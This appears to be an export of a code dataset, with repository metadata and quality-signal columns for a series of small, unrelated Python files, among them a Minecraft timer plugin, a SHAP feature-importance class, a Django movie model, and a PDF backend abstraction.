hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
23b703b6cabe1962c636f6a2c79308b98c38c1a8
817
py
Python
postag/resolver.py
MineRobber9000/postag
d905f44f8ba975df06cc21aaf1fc425cf53e039f
[ "MIT" ]
null
null
null
postag/resolver.py
MineRobber9000/postag
d905f44f8ba975df06cc21aaf1fc425cf53e039f
[ "MIT" ]
null
null
null
postag/resolver.py
MineRobber9000/postag
d905f44f8ba975df06cc21aaf1fc425cf53e039f
[ "MIT" ]
null
null
null
class Resolver: def __init__(self): self.resolvers = [] def addResolver(self,res,priority): self.resolvers.append(dict(resolver=res,priority=priority)) self.resolvers.sort(key=lambda x: x["priority"]) def resolve(self,name): for r in [x["resolver"] for x in self.resolvers[::-1]]: success,result = r(name) if success: return result class GlobalVarResolver: def __init__(self,globs): self.globs = globs def __call__(self,name): if name in self.globs: return True, self.globs[name] elif name in dir(self.globs["__builtins__"]): return True, getattr(self.globs["__builtins__"],name) return False, None class FunctionalMapping: def __init__(self,get,set): self.get = get self.set = set def __getitem__(self,k): return self.get(k) def __setitem__(self,k,v): self.set(k,v)
26.354839
61
0.70869
121
817
4.520661
0.347107
0.09872
0.060329
0
0
0
0
0
0
0
0
0.001441
0.150551
817
30
62
27.233333
0.786744
0
0
0
0
0
0.04896
0
0
0
0
0
0
1
0.285714
false
0
0
0.035714
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
23da034ad35f31e90c8e53d6592ca43cf2dabf3f
4,734
py
Python
Timer.py
Dark-Night-Base/MCDP
fbdba3c2b7a919d625067cbd473cdbe779af3256
[ "MIT" ]
null
null
null
Timer.py
Dark-Night-Base/MCDP
fbdba3c2b7a919d625067cbd473cdbe779af3256
[ "MIT" ]
null
null
null
Timer.py
Dark-Night-Base/MCDP
fbdba3c2b7a919d625067cbd473cdbe779af3256
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import time help_msg = '''------ §aMCR 时钟插件帮助信息 §f------ §b!!time help §f- §c显示帮助消息 §b!!time ct §f- §c显示当前时间 §b!!time timer [秒] §f- §c开启倒计时 §b!!time stopwatch start §f- §c开启秒表 §b!!time stopwatch stop §f- §c停止秒表 --------------------------------''' no_input = '''------ §a温馨提示 §f------ §c未知指令 请输入 !!time help 获取帮助 --------------------------------''' stop_T = False def on_info(server, info): if info.is_player == 1: if info.content.startswith('!!time'): args = info.content.split(' ') if len(args) == 1: for line in help_msg.splitlines(): server.tell(info.player, line) elif args[1] == 'help': for line in help_msg.splitlines(): server.tell(info.player, line) elif args[1] == 'ct': t = time.localtime() current_time = time.strftime("%H:%M:%S", t) int_current_time = int(time.strftime("%H", t)) if int_current_time in range(6, 12): server.tell(info.player, "------ §a当前时间 §f------") server.tell(info.player, "§b 早上好") server.tell(info.player, "§b 现在时间是: " + current_time) server.tell(info.player, "--------------------------------") elif int_current_time in range(12, 19): server.tell(info.player, "------ §a当前时间 §f------") server.tell(info.player, "§b 下午好") server.tell(info.player, "§b 现在时间是: " + current_time) server.tell(info.player, "--------------------------------") elif int_current_time in range(19, 24): server.tell(info.player, "------ §a当前时间 §f------") server.tell(info.player, "§b 晚上好") server.tell(info.player, "§b 现在时间是: " + current_time) server.tell(info.player, "--------------------------------") elif int_current_time in range(0, 6): server.tell(info.player, "------ §a当前时间 §f------") server.tell(info.player, "§b 晚上好") server.tell(info.player, "§b 现在时间是: " + current_time) server.tell(info.player, "--------------------------------") else: server.tell(info.player, "------ §a当前时间 §f------") server.tell(info.player, "§b 现在时间是: " + current_time) server.tell(info.player, "--------------------------------") elif args[1] == 'timer': second = int(args[2]) count = 0 while count < second: count_now = second - count if count_now >= 30: server.tell(info.player, "倒计时还剩: " + "§a" + str(count_now)) time.sleep(1) count += 1 elif 30 > count_now > 10: server.tell(info.player, "倒计时还剩: " + "§e" + str(count_now)) time.sleep(1) count += 1 else: server.tell(info.player, "倒计时还剩: " + "§c" + str(count_now)) time.sleep(1) count += 1 server.tell(info.player, "时间到!") server.execute( 'execute at ' + info.player + ' run playsound minecraft:block.bell.use player ' + info.player) server.execute( 'execute at ' + info.player + ' run playsound minecraft:block.bell.use player ' + info.player) server.execute( 'execute at ' + info.player + ' run playsound minecraft:block.bell.use player ' + info.player) elif args[1] == 'stopwatch': status = args[2] if status == 'start': start(server, info) elif status == 'stop': stop(server, info) else: for line in no_input.splitlines(): server.tell(info.player, line) def on_load(server, old): server.add_help_message('!!time', '时钟系统帮助') def start(server, info): global stop_T stop_T = True start_time = time.time() server.tell(info.player, "§b秒表开启") while stop_T: r = round(time.time() - start_time, 0) server.tell(info.player, "§b计时: " + str(r) + " 秒") time.sleep(1) def stop(server, info): global stop_T if stop_T: stop_T = False server.tell(info.player, "§b秒表已停止") else: server.tell(info.player, "§b秒表未开启")
41.526316
114
0.444022
540
4,734
3.901852
0.194444
0.170859
0.199336
0.284765
0.633128
0.562886
0.495966
0.495966
0.457523
0.457523
0
0.012362
0.367765
4,734
113
115
41.893805
0.676245
0.004436
0
0.445545
0
0
0.198472
0.062832
0
0
0
0
0
1
0.039604
false
0
0.009901
0
0.049505
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
23e0459ade4fcfb40deaedb8969b8ab2785c8442
1,801
py
Python
drone/flight/driving/motor_dummy.py
dpm76/eaglebone
46403d03359a780f385ccb1f05b462869eddff89
[ "ISC" ]
null
null
null
drone/flight/driving/motor_dummy.py
dpm76/eaglebone
46403d03359a780f385ccb1f05b462869eddff89
[ "ISC" ]
18
2016-03-30T08:43:45.000Z
2017-03-27T11:14:17.000Z
drone/flight/driving/motor_dummy.py
dpm76/eaglebone
46403d03359a780f385ccb1f05b462869eddff89
[ "ISC" ]
2
2016-03-06T20:38:06.000Z
2019-09-10T14:46:35.000Z
''' Created on 19 de ene. de 2016 @author: david ''' import time class MotorDummy(object): MAX_THROTTLE = 80.0 #percentage def __init__(self, motorId): """ Constructor @param motorId: Identificator of the motor. A number between 0 to 3 (in case of quadcopter) """ self._motorId = motorId self._throttle = 0.0 def start(self): self._throttle = 0.0 def setThrottle(self, throttle): self._throttle = float(throttle) time.sleep(0.001) def getThrottle(self): return self._throttle def addThrottle(self, increment): """ Increases or decreases the motor's throttle @param increment: Value added to the current throttle percentage. This can be negative to decrease. """ self.setThrottle(self._throttle + increment) def setMaxThrottle(self): """ Sends the max throttle signal (useful for calibrating process) """ self._throttle = 100.0 def setMinThrottle(self): """ Sends the min throttle signal (useful for calibrating process, or setting the motor in stand-by state) """ self._throttle = 0.0 def standBy(self): """ Set the motor in stand-by state """ self.setMinThrottle() def idle(self): """ Set the motor in idle state """ self._throttle = 0.0 def stop(self): """ Stops the motor """ self._throttle = 0.0
20.465909
110
0.494725
178
1,801
4.921348
0.426966
0.136986
0.074201
0.079909
0.259132
0.192922
0.059361
0
0
0
0
0.028019
0.425319
1,801
87
111
20.701149
0.818357
0.305386
0
0.2
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0.04
0.04
0.56
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
23e4cf7747f358650ecc3229b90396e47c6f5137
110
py
Python
bagua/torch_api/compression.py
fossabot/bagua
2a8434159bfa502e61739b5eabd91dca57c9256c
[ "MIT" ]
1
2021-06-23T08:13:15.000Z
2021-06-23T08:13:15.000Z
bagua/torch_api/compression.py
fossabot/bagua
2a8434159bfa502e61739b5eabd91dca57c9256c
[ "MIT" ]
null
null
null
bagua/torch_api/compression.py
fossabot/bagua
2a8434159bfa502e61739b5eabd91dca57c9256c
[ "MIT" ]
null
null
null
from enum import Enum class Compressor(Enum): NoneCompressor = None Uint8Compressor = "MinMaxUInt8"
15.714286
35
0.736364
11
110
7.363636
0.818182
0
0
0
0
0
0
0
0
0
0
0.022727
0.2
110
6
36
18.333333
0.897727
0
0
0
0
0
0.1
0
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
23ee7f3b59a96672f837686dde3019287c34f061
2,573
py
Python
metalfi/src/data/meta/importance/shap.py
CemOezcan/metalfi
d7a071eea0229ce621fa07e3474a26d43bfaac66
[ "MIT" ]
2
2019-12-05T07:57:14.000Z
2019-12-05T13:02:08.000Z
metalfi/src/data/meta/importance/shap.py
CemOezcan/metalfi
d7a071eea0229ce621fa07e3474a26d43bfaac66
[ "MIT" ]
31
2019-12-05T15:14:47.000Z
2020-12-04T14:37:46.000Z
metalfi/src/data/meta/importance/shap.py
CemOezcan/metalfi
d7a071eea0229ce621fa07e3474a26d43bfaac66
[ "MIT" ]
1
2020-12-04T13:40:11.000Z
2020-12-04T13:40:11.000Z
import shap from pandas import DataFrame from sklearn.preprocessing import StandardScaler from metalfi.src.data.meta.importance.featureimportance import FeatureImportance class ShapImportance(FeatureImportance): def __init__(self, dataset): super(ShapImportance, self).__init__(dataset) self._name = "_SHAP" def calculateScores(self): sc = StandardScaler() X = DataFrame(data=sc.fit_transform(self._data_frame.drop(self._target, axis=1)), columns=self._data_frame.drop(self._target, axis=1).columns) y = self._data_frame[self._target] for model in self._linear_models: self._feature_importances.append(self.linearShap(model, X, y)) for model in self._tree_models: self._feature_importances.append(self.treeShap(model, X, y)) for model in self._kernel_models: self._feature_importances.append(self.kernelShap(model, X, y)) def treeShap(self, model, X, y): model.fit(X, y) imp = shap.TreeExplainer(model).shap_values(X) #shap.summary_plot(imp[1], X, plot_type="bar") return self.createDataFrame(imp[1], X) def linearShap(self, model, X, y): model.fit(X, y) imp = shap.LinearExplainer(model, X).shap_values(X) #shap.summary_plot(imp, X, plot_type="bar") return self.createDataFrame(imp, X) def treeRegressionShap(self, model, X, y): model.fit(X, y) imp = shap.TreeExplainer(model).shap_values(X) #shap.summary_plot(imp, X, plot_type="bar") return self.createDataFrame(imp, X) def kernelShap(self, model, X, y, k=10): model.fit(X, y) X_summary = shap.kmeans(X, k) imp = shap.KernelExplainer(model.predict, X_summary).shap_values(X) #shap.summary_plot(imp, X, plot_type="bar") return self.createDataFrame(imp, X) def createDataFrame(self, array, X): if str(type(array)).endswith("'list'>"): importances = list(map(lambda x: x / len(array), map(sum, zip(*[self.calculateImportances(c) for c in array])))) else: importances = self.calculateImportances(array) return DataFrame(data=importances, index=X.columns, columns=["Importances"]) def calculateImportances(self, array): importances = list() for i in range(len(array[0])): importances.append(sum([abs(x[i]) for x in array]) / len(array)) return importances
34.306667
93
0.629227
319
2,573
4.931034
0.253919
0.013986
0.031151
0.027972
0.408137
0.408137
0.335664
0.308964
0.283535
0.233948
0
0.003631
0.25068
2,573
74
94
34.77027
0.812241
0.066459
0
0.183673
0
0
0.009591
0
0
0
0
0
0
1
0.163265
false
0
0.346939
0
0.653061
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
23f2b2f6f97b3acdf979b2b92b12fa1475acc97b
141
py
Python
ex013 - Reajuste Salarial/app.py
daphi-ny/python-exercicios
0836fd1a134f07dc1cb29f7c31fce75fff65f963
[ "MIT" ]
null
null
null
ex013 - Reajuste Salarial/app.py
daphi-ny/python-exercicios
0836fd1a134f07dc1cb29f7c31fce75fff65f963
[ "MIT" ]
null
null
null
ex013 - Reajuste Salarial/app.py
daphi-ny/python-exercicios
0836fd1a134f07dc1cb29f7c31fce75fff65f963
[ "MIT" ]
null
null
null
s = float(input('Digite o valor do salário: R$ ')) p = s + (s * 15 / 100) print('o salário de R$ {} com mais 15% ficará {:.2f}'.format(s, p))
47
67
0.58156
27
141
3.037037
0.703704
0
0
0
0
0
0
0
0
0
0
0.070796
0.198582
141
3
67
47
0.654867
0
0
0
0
0
0.528169
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
23f755b41ceb13c51fd1941958609398bf18c29d
3,615
py
Python
info/models/movie.py
wojciezki/movie_info
88f089e8eaa5310cf5b03f7aae4f6c9b871282f2
[ "MIT" ]
null
null
null
info/models/movie.py
wojciezki/movie_info
88f089e8eaa5310cf5b03f7aae4f6c9b871282f2
[ "MIT" ]
3
2020-02-11T23:47:00.000Z
2021-06-10T21:13:10.000Z
info/models/movie.py
wojciezki/movie_info
88f089e8eaa5310cf5b03f7aae4f6c9b871282f2
[ "MIT" ]
null
null
null
# Create your models here. import datetime from django.db import models from rest_framework.compat import MinValueValidator class Movie(models.Model): title = models.CharField(max_length=512) year = models.IntegerField(validators=[MinValueValidator(0), ], null=True, blank=True) rated = models.CharField(max_length=64, null=True, blank=True) released = models.CharField(max_length=64, null=True, blank=True) runtime = models.CharField(max_length=64, null=True, blank=True) genre = models.CharField(max_length=64, null=True, blank=True) director = models.CharField(max_length=512, null=True, blank=True) writer = models.CharField(max_length=512, null=True, blank=True) actors = models.TextField(null=True, blank=True) plot = models.TextField(null=True, blank=True) language = models.CharField(max_length=64, null=True, blank=True) country = models.CharField(max_length=64, null=True, blank=True) awards = models.CharField(max_length=512, null=True, blank=True) poster = models.TextField(null=True, blank=True) ratings = models.TextField(null=True, blank=True) metascore = models.CharField(max_length=64, null=True, blank=True) imdbrating = models.CharField(max_length=64, null=True, blank=True) imdbvotes = models.CharField(max_length=64, null=True, blank=True) imdbid = models.CharField(max_length=64, null=True, blank=True) type = models.CharField(max_length=64, null=True, blank=True) dvd = models.CharField(max_length=64, null=True, blank=True) boxoffice = models.CharField(max_length=512, null=True, blank=True) production = models.CharField(max_length=512, null=True, blank=True) website = models.CharField(max_length=512, null=True, blank=True) def __str__(self): return f'{self.title}' def total_comments(self, request): from_date = request.query_params.get('from_date', None) to_date = request.query_params.get('to_date', None) if from_date and to_date: from_date = datetime.datetime.strptime(from_date, "%Y-%m-%d").date() to_date = datetime.datetime.strptime(to_date, "%Y-%m-%d").date() return self.comments.filter(created__lte=to_date, created__gte=from_date).count() else: return self.comments.all().count()
41.079545
93
0.458645
322
3,615
5.015528
0.245342
0.113932
0.185139
0.242105
0.623529
0.562229
0.482972
0.482972
0.482972
0
0
0.023541
0.459474
3,615
87
94
41.551724
0.802968
0.006639
0
0.518519
0
0
0.01226
0
0
0
0
0
0
1
0.024691
false
0
0.037037
0.012346
0.407407
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9b02acdde4f64a083c7db9498cddd0e187f2c1df
615
py
Python
week9/tests/test_utils.py
zzsza/kyle-school
8cf6cffd3d86a25c29f914a9d4802cdb8e6dd478
[ "MIT" ]
189
2019-11-15T11:33:50.000Z
2022-03-27T08:23:35.000Z
week9/tests/test_utils.py
zzsza/kyle-school
8cf6cffd3d86a25c29f914a9d4802cdb8e6dd478
[ "MIT" ]
3
2020-05-29T03:26:32.000Z
2021-07-11T15:46:07.000Z
week9/tests/test_utils.py
zzsza/kyle-school
8cf6cffd3d86a25c29f914a9d4802cdb8e6dd478
[ "MIT" ]
39
2019-11-16T04:02:06.000Z
2022-03-21T04:18:14.000Z
# test_utils.py를 아래 내용으로 overwrite합니다(-a 옵션 없이!) import pytest import pandas as pd import datetime from utils import is_working_day, load_data def test_is_working_day(): assert is_working_day(datetime.date(2020,7,5)) == False assert is_working_day(datetime.date(2020,7,4)) == False assert is_working_day(datetime.date(2020,7,6)) == True @pytest.fixture(scope="session") def result_fixture(): result = load_data() return result def test_len(result_fixture): assert len(result_fixture) == 150 def test_object_type(result_fixture): assert isinstance(result_fixture, pd.DataFrame)
21.964286
59
0.747967
94
615
4.659574
0.446809
0.10274
0.136986
0.123288
0.262557
0.262557
0.262557
0.262557
0.182648
0
0
0.040076
0.147967
615
27
60
22.777778
0.795802
0.074797
0
0
0
0
0.012411
0
0
0
0
0
0.3125
1
0.25
false
0
0.25
0
0.5625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
9b10e4943ad1ee0b4dae85b2c1d4d6a1aefffc28
409
py
Python
network_anomaly/code/del_duplicate.py
kidrabit/Data-Visualization-Lab-RND
baa19ee4e9f3422a052794e50791495632290b36
[ "Apache-2.0" ]
1
2022-01-18T01:53:34.000Z
2022-01-18T01:53:34.000Z
network_anomaly/code/del_duplicate.py
kidrabit/Data-Visualization-Lab-RND
baa19ee4e9f3422a052794e50791495632290b36
[ "Apache-2.0" ]
null
null
null
network_anomaly/code/del_duplicate.py
kidrabit/Data-Visualization-Lab-RND
baa19ee4e9f3422a052794e50791495632290b36
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- def del_duplicate(ip_combine): ip_combine = list(set(ip_combine)) ip_combine_temp = [] del ip_combine[0] # print(len(ip_combine)) for i in range(len(ip_combine)): ip1, ip2 = ip_combine[i].split(":") if ip2+":"+ip1 not in ip_combine_temp: ip_combine_temp.append(ip_combine[i]) # print(len(ip_combine_temp)) return ip_combine_temp
31.461538
49
0.635697
62
409
3.887097
0.403226
0.485477
0.26971
0.149378
0
0
0
0
0
0
0
0.018868
0.222494
409
13
50
31.461538
0.738994
0.195599
0
0
0
0
0.006135
0
0
0
0
0
0
1
0.111111
false
0
0
0
0.222222
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9b1c4ea2bc7164000ac7237aaef4748989fffac3
2,607
py
Python
pdftables/pdf_document.py
tessact/pdftables
89b0c0f7215fa50651b37e5b1505229c329cc0ab
[ "BSD-2-Clause" ]
73
2015-01-07T01:42:45.000Z
2021-01-20T01:19:04.000Z
pdftables/pdf_document.py
MartinThoma/pdftables
bd34a86cba8b70d1af2267cf8a30f387f7e5a43e
[ "BSD-2-Clause" ]
1
2020-08-02T18:31:16.000Z
2020-08-02T18:31:16.000Z
pdftables/pdf_document.py
MartinThoma/pdftables
bd34a86cba8b70d1af2267cf8a30f387f7e5a43e
[ "BSD-2-Clause" ]
40
2015-03-10T05:24:37.000Z
2019-08-30T06:11:02.000Z
""" Backend abstraction for PDFDocuments """ import abc import os DEFAULT_BACKEND = "poppler" BACKEND = os.environ.get("PDFTABLES_BACKEND", DEFAULT_BACKEND).lower() # TODO(pwaller): Use abstract base class? # What does it buy us? Can we enforce that only methods specified in an ABC # are used by client code? class PDFDocument(object): __metaclass__ = abc.ABCMeta @classmethod def get_backend(cls, backend=None): """ Returns the PDFDocument class to use based on configuration from enviornment or pdf_document.BACKEND """ # If `cls` is not already a subclass of the base PDFDocument, pick one if not issubclass(cls, PDFDocument): return cls if backend is None: backend = BACKEND # Imports have to go inline to avoid circular imports with the backends if backend == "pdfminer": from pdf_document_pdfminer import PDFDocument as PDFDoc return PDFDoc elif backend == "poppler": from pdf_document_poppler import PDFDocument as PDFDoc return PDFDoc raise NotImplementedError("Unknown backend '{0}'".format(backend)) @classmethod def from_path(cls, path): Class = cls.get_backend() return Class(path) @classmethod def from_fileobj(cls, fh): # TODO(pwaller): For now, put fh into a temporary file and call # .from_path. Future: when we have a working stream input function for # poppler, use that. raise NotImplementedError Class = cls._get_backend() # return Class(fh) # This is wrong since constructor now takes a path. def __init__(self, *args, **kwargs): raise RuntimeError( "Don't use this constructor, use a {0}.from_* method instead!" .format(self.__class__.__name__)) @abc.abstractmethod def __len__(self): """ Return the number of pages in the PDF """ @abc.abstractmethod def get_page(self, number): """ Return a PDFPage for page `number` (0 indexed!) """ @abc.abstractmethod def get_pages(self): """ Return all pages in the document: TODO(pwaller) move implementation here """ class PDFPage(object): __metaclass__ = abc.ABCMeta @abc.abstractmethod def get_glyphs(self): """ Obtain a list of bounding boxes (Box instances) for all glyphs on the page. """ @abc.abstractproperty def size(self): """ (width, height) of page """
27.15625
80
0.623322
311
2,607
5.086817
0.44373
0.015171
0.050569
0.043616
0.083439
0.083439
0
0
0
0
0
0.00163
0.294208
2,607
95
81
27.442105
0.858152
0.342539
0
0.255814
0
0
0.077771
0
0
0
0
0.031579
0
1
0.209302
false
0
0.093023
0
0.488372
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
0
0
0
0
2
f1a11c9a3c3f708c9cfe435d2e5adfed43004799
600
py
Python
textattack/constraints/pre_transformation/max_word_index_modification.py
cclauss/TextAttack
98b8d6102aa47bf3c41afedace0215d48f8ed046
[ "MIT" ]
1
2021-06-24T19:35:18.000Z
2021-06-24T19:35:18.000Z
textattack/constraints/pre_transformation/max_word_index_modification.py
53X/TextAttack
e6a7969abc1e28a2a8a7e2ace709b78eb9dc94be
[ "MIT" ]
null
null
null
textattack/constraints/pre_transformation/max_word_index_modification.py
53X/TextAttack
e6a7969abc1e28a2a8a7e2ace709b78eb9dc94be
[ "MIT" ]
1
2021-11-12T05:26:21.000Z
2021-11-12T05:26:21.000Z
from textattack.constraints.pre_transformation import PreTransformationConstraint from textattack.shared.utils import default_class_repr class MaxWordIndexModification(PreTransformationConstraint): """ A constraint disallowing the modification of words which are past some maximum length limit """ def __init__(self, max_length): self.max_length = max_length def _get_modifiable_indices(self, current_text): """ Returns the word indices in current_text which are able to be deleted """ return set(range(min(self.max_length, len(current_text.words))))
37.5
95
0.765
73
600
6.054795
0.657534
0.081448
0.088235
0
0
0
0
0
0
0
0
0
0.168333
600
15
96
40
0.885772
0.268333
0
0
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0.285714
0
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
f1a1c6bbb5f8fd9057ce629a8986541e09412fdc
251
py
Python
thaniya_server/src/thaniya_server/flask/FlaskFilter_tagsToStr.py
jkpubsrc/Thaniya
4ebdf2854e3d7888af7396adffa22628b4ab2267
[ "Apache-1.1" ]
1
2021-01-20T18:27:22.000Z
2021-01-20T18:27:22.000Z
thaniya_server/src/thaniya_server/flask/FlaskFilter_tagsToStr.py
jkpubsrc/Thaniya
4ebdf2854e3d7888af7396adffa22628b4ab2267
[ "Apache-1.1" ]
null
null
null
thaniya_server/src/thaniya_server/flask/FlaskFilter_tagsToStr.py
jkpubsrc/Thaniya
4ebdf2854e3d7888af7396adffa22628b4ab2267
[ "Apache-1.1" ]
null
null
null
from .AbstractFlaskTemplateFilter import AbstractFlaskTemplateFilter # # ... # class FlaskFilter_tagsToStr(AbstractFlaskTemplateFilter): def __call__(self, tags:list): if tags: return ", ".join(tags) else: return "" # #
7.84375
68
0.677291
20
251
8.25
0.75
0
0
0
0
0
0
0
0
0
0
0
0.215139
251
31
69
8.096774
0.837563
0.011952
0
0
0
0
0.008696
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0
0.714286
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
f1c67bf4245b574bcd2ed4dfcba7d08e3e6e8419
174
py
Python
example.py
LucasHazardous/SkinReaper
c910cebe2aed3dd8e442515e4415f3e253e5a4ac
[ "MIT" ]
null
null
null
example.py
LucasHazardous/SkinReaper
c910cebe2aed3dd8e442515e4415f3e253e5a4ac
[ "MIT" ]
null
null
null
example.py
LucasHazardous/SkinReaper
c910cebe2aed3dd8e442515e4415f3e253e5a4ac
[ "MIT" ]
null
null
null
from skin_reaper import SkinReaper if __name__ == "__main__": r = SkinReaper() data = r.harvestLinks(5) r.setSkinPreview() r.collectRandom(data) r.kill()
21.75
34
0.666667
21
174
5.095238
0.714286
0.093458
0
0
0
0
0
0
0
0
0
0.007299
0.212644
174
8
35
21.75
0.773723
0
0
0
0
0
0.045714
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f1f07ae2628711dd9b1d256f9780dc722c6f8e53
381
py
Python
backend/notifications/admin.py
solitariaa/CMPUT404-project-socialdistribution
f9e23a10e209f8bf7ed062e105f44038751f7c74
[ "W3C-20150513" ]
1
2022-03-01T03:03:40.000Z
2022-03-01T03:03:40.000Z
backend/notifications/admin.py
solitariaa/CMPUT404-project-socialdistribution
f9e23a10e209f8bf7ed062e105f44038751f7c74
[ "W3C-20150513" ]
51
2022-02-09T06:18:27.000Z
2022-03-28T19:01:54.000Z
backend/notifications/admin.py
solitariaa/CMPUT404-project-socialdistribution
f9e23a10e209f8bf7ed062e105f44038751f7c74
[ "W3C-20150513" ]
2
2022-03-13T20:58:10.000Z
2022-03-19T06:29:56.000Z
